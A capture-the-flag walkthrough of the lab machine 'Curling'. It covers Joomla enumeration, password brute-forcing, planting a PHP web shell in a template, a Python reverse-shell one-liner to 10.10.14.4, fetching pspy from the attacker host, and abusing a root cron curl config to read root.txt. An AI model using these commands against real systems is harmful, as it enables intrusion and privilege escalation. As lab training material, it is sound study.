Curling logo

This is an easy linux box

Tools used


  • bzip2
  • cat
  • cewl
  • crontab
  • echo
  • ffuf
  • file
  • gunzip
  • joombrute
  • joomscan
  • ls
  • mv
  • nc
  • nmap
  • pspy64
  • python
  • su
  • tar
  • wget
  • xxd

Reconnaissance


Nmap

nmap -sC -sV -oA curling 10.10.10.150 -v

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-generator: Joomla! - Open Source Content Management
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here’s what nmap teaches us :

  • port 22 (SSH) - OpenSSH 7.6p1
  • port 80 (HTTP) - Apache 2.4.29 - Joomla

Let’s see the web port which must be a Joomla CMS as nmap told us :

Curling webpage

Since the website use Joomla as CMS, let’s use joomscan :

joomscan -u http://10.10.10.150

    ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
                        (1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://10.10.10.150 ...

[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.8.8

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://10.10.10.150/administrator/components
http://10.10.10.150/administrator/modules
http://10.10.10.150/administrator/templates
http://10.10.10.150/images/banners

[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://10.10.10.150/administrator/

[+] Checking robots.txt existing
[++] robots.txt is not found

[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file

[++] Readable config files are not found

Here’s what I learn :

  • Joomla 3.8.8
  • Admin page : http://10.10.10.150/administrator/

Let’s brute force files/directories to see if there is something unusual :

ffuf -w /home/liodeus/directory-list-lowercase-2.3-medium.txt -u http://10.10.10.150/FUZZ -e .txt,.php -t 100

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.150/FUZZ
 :: Wordlist         : FUZZ: /home/liodeus/directory-list-lowercase-2.3-medium.txt
 :: Extensions       : .txt .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

media                   [Status: 301, Size: 312, Words: 20, Lines: 10]
templates               [Status: 301, Size: 316, Words: 20, Lines: 10]
modules                 [Status: 301, Size: 314, Words: 20, Lines: 10]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10]
bin                     [Status: 301, Size: 310, Words: 20, Lines: 10]
plugins                 [Status: 301, Size: 314, Words: 20, Lines: 10]
includes                [Status: 301, Size: 315, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 14263, Words: 762, Lines: 362]
language                [Status: 301, Size: 315, Words: 20, Lines: 10]
components              [Status: 301, Size: 317, Words: 20, Lines: 10]
cache                   [Status: 301, Size: 312, Words: 20, Lines: 10]
libraries               [Status: 301, Size: 316, Words: 20, Lines: 10]
tmp                     [Status: 301, Size: 310, Words: 20, Lines: 10]
layouts                 [Status: 301, Size: 314, Words: 20, Lines: 10]
secret.txt              [Status: 200, Size: 17, Words: 1, Lines: 2]
administrator           [Status: 301, Size: 320, Words: 20, Lines: 10]
configuration.php       [Status: 200, Size: 0, Words: 1, Lines: 1]
htaccess.txt            [Status: 200, Size: 3005, Words: 438, Lines: 81]
cli                     [Status: 301, Size: 310, Words: 20, Lines: 10]
.php                    [Status: 403, Size: 291, Words: 22, Lines: 12]
server-status           [Status: 403, Size: 300, Words: 22, Lines: 12]

I noticed an interesting file : secret.txt

Secret.txt

The file contains a base64 string :

echo Q3VybGluZzIwMTgh | base64 -d
Curling2018!

This looks like a password ! I wanted to show a way to brute force Joomla, first I need a wordlist, I used cewl for that :

cewl -m 4 --with-numbers -w wordlistFromWebsite http://10.10.10.150 -d 4

Then I added the found password to the wordlist :

echo "Curling2018!" >> wordlistFromWebsite

Exploit


Finally I used this script Joombrute.py, for the brute force, I used the user “floris” because it was the author of many articles on the website.

python JoomBrute.py http://10.10.10.150 wordlistFromWebsite floris

Trying: leading
Trying: Once
Trying: able
Trying: emailed
Trying: file
[...]
Trying: received
Trying: Your
Trying: Curling2018!
	[+] 10.10.10.150 Joomla [Hacked!!]
		Username: admin
		Password: Curling2018!

Nice the script is working and the password I found too. Now I can connect :

Joomla connected

It’s time to get a webshell ! Go to CONFIGURATION > Templates :

Template list

Click on “Beez3 Details and Files” to edit/see the files.

Template index.php

Copy/paste the webshell (https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php)

Template replace by webshell

Save the template, then go to : http://10.10.10.150/templates/beez3/

Webshell

From here, I want a reverse shell, I think it’s better than a webshell, so launch a listener :

nc -lvp 1234

Then from the webshell launch a reverse shell connecting to the listener :

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And here I have my reverse shell !

nc -lvp 1234
listening on [any] 1234 ...
10.10.10.150: inverse host lookup failed: Unknown host
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.150] 45078
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Looking around for privilege escalation, I found this :

www-data@curling:/home/floris$ ls -l
total 12
drwxr-x--- 2 root   floris 4096 May 22  2018 admin-area
-rw-r--r-- 1 floris floris 1076 May 22  2018 password_backup
-rw-r----- 1 floris floris   33 May 22  2018 user.txt

Password_backup, looks interesting !

www-data@curling:/home/floris$ cat password_backup 
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H

It’ a hex dump, let’s reverse it :

www-data@curling:/home/floris$ cat password_backup | xxd -r > /tmp/test
www-data@curling:/tmp$ file test
test: bzip2 compressed data, block size = 900k
www-data@curling:/tmp$ mv test test.bz2
www-data@curling:/tmp$ file test
test: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix
www-data@curling:/tmp$ mv test test.gz
www-data@curling:/tmp$ gunzip test.gz 
www-data@curling:/tmp$ file test      
test: bzip2 compressed data, block size = 900k
www-data@curling:/tmp$ mv test test.bz2
www-data@curling:/tmp$ bzip2 -d test.bz2 
www-data@curling:/tmp$ file test 
test: POSIX tar archive (GNU)
www-data@curling:/tmp$ mv test test.tar
www-data@curling:/tmp$ tar xvf test.tar 
password.txt
www-data@curling:/tmp$ cat password.txt 
5d<wdCbdZu)|hChXll

Finally, I have the password ! Now I tried to use it to connect as floris :

www-data@curling:/home$ su floris         
Password: 
floris@curling:/home$ whoami
floris

I’m now the user floris ! Let’s go to root now ! Searching for privilege escalation I found a directory created by root, which I can modify the content :

floris@curling:~/admin-area$ ls -l
total 20
-rw-rw---- 1 root floris    25 Aug  3 16:26 input
-rw-rw---- 1 root floris 14242 Aug  3 16:26 report
floris@curling:~/admin-area$ cat input 
url = "http://127.0.0.1"

Report is the html return from the url contain in the input file. This looks like the output of curl ! There is a script running every minute who modify the report file. There must be a cronjob !

floris@curling:~/admin-area$ crontab -u root -l
must be privileged to use -u

I don’t have enought rights to see it ! So I used an awesome script called pspy.

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

Start python server for file transfert :

python -m SimpleHTTPServer

Fetch it on the machine :

wget http://10.10.14.4:8000/pspy64

Then run it :

./pspy64

Wait a little bit, then I saw something interesting :

pspy results

This command is run by root :

/bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report

Because I didn’t knew the ‘-K’ flag, i search information about it (https://www.computerhope.com/unix/curl.htm) :

The config file is a text file in which command line arguments can be written which then will be used as if they were written on the actual command line.

With the default input file the command look like this when run :

/bin/sh -c curl --url http://127.0.0.1 -o /home/floris/admin-area/report

What I want is to read root.txt so here’s how I did it :

echo 'url = "file:///root/root.txt"' > input

And when the script run the command would look like this :

/bin/sh -c curl --url file:///root/root.txt -o /home/floris/admin-area/report

Just wait that the script run, and the root.txt flag is in the report file !

Flags


User.txt

floris@curling:~$ cat user.txt
65dd1df0713b40d88ead98cf11b8530b

Root.txt

floris@curling:~/admin-area$ cat report 
82c198ab6fc5365fdc6da2ee5c26064a